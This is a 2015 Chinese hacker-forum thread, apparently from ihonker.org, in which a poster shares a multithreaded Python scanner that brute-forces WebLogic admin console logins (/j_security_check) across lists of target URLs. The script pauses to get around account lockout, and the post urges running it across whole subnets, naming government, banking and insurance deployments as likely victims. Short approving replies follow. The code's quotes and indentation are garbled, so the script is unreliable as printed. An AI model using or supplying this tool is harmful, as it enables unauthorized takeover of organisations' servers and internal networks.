浮尘 发表于 2015-10-8 17:49:02

Weblogic弱口令扫描器

本帖最后由 xiaoye 于 2015-10-9 17:37 编辑

Weblogic在国内应用非常广泛,主要是政府部门和大企业,如保险,银行等,但是通过较长时间的观察与实践,许多管理员都是不更改Weblogic的默认密码的,即weblogic/weblogic 导致系统,内网沦陷。使用建议,如果主站是java,可以在C段跑一下这个脚本。

这么久以来,至少我自己还没有在网上找到过一款Weblogic弱口令扫描器,想自己写一款,无奈编程技术不过关,最终在朋友的帮助下,还是写出了python脚本。

Weblogic可以指定多个端口来提供Web服务(在配置界面Servers里面),但是只能有一个Server为AdminServer,也就是只能通过这个端口才能访问到/console

下面这种情况就可以通过http://ip:7001/console 来访问到控制台:

代码:
#coding=utf-8
import Queue
import requests
import time
import threading
import sys
import os
'''
Version 5
Copyright dc3

http://185.es

Finish at 2015-09-26 18:31
修复了以前无法控制线程数量的错误
添加在cmd窗口上显示线程数(Linux系统的就自己修改下命令吧)
Usage:python main.py 200
设定的是200个线程,但实际只有199个为破解线程,还有一个主线程
使用前请安装requests模块
遇到任何问题或者bug请到我博客留言
Fix Log:
2015-9-28 00:43 修复线程判断出错问题
2015-9-28 20:15 修复卡死问题
2015-10-2 22:30 线程及URL的变化只会在启动线程时变化,将os.system移至添加线程处
2015-10-2 23:45 添加显示成功数和失败数
'''
def post(i):
        global xtime
        global success
        global fail
        try:
                z=0
                co=0
                pwdcount=len(open('pwd.txt','rU').readlines())
                usrcount=len(open('usr.txt','rU').readlines())
                sum=pwdcount*usrcount #总尝试次数=用户名个数*密码个数
                for usr in open("usr.txt").readlines():
                        usr=usr.strip('\n')
                        for pwd in open("pwd.txt").readlines():
                                pwd=pwd.strip('\n')
                                #print 'weblogic'+'/'+pwd
                                z=z+1
                                co=co+1
                                if z == 6:        #账户错误达到5次,此账户锁定30分钟,等待重试
                                        print i+' Waiting......'
                                        ct=0
                                        b=31
                                        while (ct<b):
                                                ncount=b-ct
                                                ncount='%d' %ncount
                                                print i+'\n'+ncount+'min left'
                                                time.sleep(60)
                                                ct+=1
                                        z=1 #重置计数
                                #print i+’/’+usr+’/’+pwd
                              data = {‘j_username’:usr,’j_password’:pwd}
                              s = requests.post(i+’/j_security_check’,data =data,timeout=5)
                         if s.content.count(‘Home Page’) !=0 or s.content.count(‘WebLogic Server Console’) !=0 or s.content.count(‘console.portal’) !=0:
                                       print i,’Success!!!!!'
                                       success+=1
                                       print usr+’/’+pwd
                                       f=open(xtime+’.txt’, ’a’)
                                       f.write(i+' ’)
                                       f.write(usr+’/’)
                                       f.write(pwd+’\n’)
                                       f.close()
                                       s=0
                                       return #成功,停止循环
                              elif co == sum: #达到总尝试次数,则输出失败
                                             print i,’Failed!’
                                             fail+=1
                                             f = open(xtime+’bad.txt’, ’a’)
                                             f.write(i+’\n’)
                                             f.close()
                                             s = 0
                                             return #失败,停止循环
         except:
                s=0


def main():
         global xtime
         global success
         global fail
         success=0
         fail=0
         xtime=time.strftime("%Y-%m-%d[%H.%M.%S]")
         print xtime
         MaxThreads=sys.argv
         MaxThreads=int(MaxThreads)
         mythreads = Queue.Queue(maxsize = 0)
         for i in open("u.txt").readlines():#先将所有线程装入队列,等待取出
                i=i.strip(‘\n’)
                t=threading.Thread(target=post, args=(i,))
                t.setDaemon(True)
                mythreads.put(t)
         print ’Total Threads:%d' %MaxThreads
         print ’Total URLs:%d' %mythreads.qsize()
         time.sleep(2)
         while True:#若条件都不满足,则死循环
                if(threading.active_count() == 1 and mythreads.qsize() == 0): #若剩余URL数等于0,活动线程为1,则退出.主线程占一个 #2015-9-28 00:43 Fixed
                        print ’Done at %s' %time.strftime("%Y-%m-%d[%H.%M.%S]")
                        break
                elif(threading.active_count() < MaxThreads): #判断正在运行的线程数量,如果小于输入值则继续添加线程
                        if (mythreads.qsize() ==0 ): #如果剩余URL为0,则不从列队中读取(否则一直处于卡死状态),并改变窗口标题提示用户 #2015-9-28 20:15 Fixed
                              os.system("title No URL left,waiting to exit,Current threads: %d,Success:%d,Failed:%d" %(threading.active_count(),success,fail))
                              time.sleep(60) #60秒之后回到上一个if判断线程是否全部结束
                        else:
                              os.system("title Current threads: %d,URLs left: %d,Success:%d,Failed:%d" %(threading.active_count(),mythreads.qsize(),success,fail)) #更改窗口标题,如觉得太消耗CPU资源可以注释掉 #线程及URL的变化只会在启动线程时变化 2015-10-2 22:30 Fixed
                              t=mythreads.get() #取出一个线程
                              t.start() #加载该线程
                              t.join(1) #阻塞一秒钟,然后加载下个线程,不愿意等可以注释掉
         print ’Success:%d,Failed:%d' %(success,fail)
         

if __name__ == ’__main__’:

        main()
使用命令:

python main.py -t 300 -p 2
项目地址

CHRIS 发表于 2015-10-9 10:07:59

学习学习技术,加油!

H.U.C—Prince 发表于 2015-10-10 14:42:55

kllay 发表于 2015-10-10 22:18:52

支持下   看着不错

H.U.C—Prince 发表于 2015-10-11 07:16:26

支持,看起来不错呢!

a136 发表于 2015-10-12 03:53:43

支持,看起来不错呢!

54hacker 发表于 2015-10-12 04:19:25

支持中国红客联盟(ihonker.org)

CHRIS 发表于 2015-10-12 05:52:20

支持,看起来不错呢!

Micah 发表于 2015-10-12 14:14:57

支持中国红客联盟(ihonker.org)

cl476874045 发表于 2015-10-12 21:48:49

学习学习技术,加油!
页: [1] 2 3 4 5 6 7 8 9 10
查看完整版本: Weblogic弱口令扫描器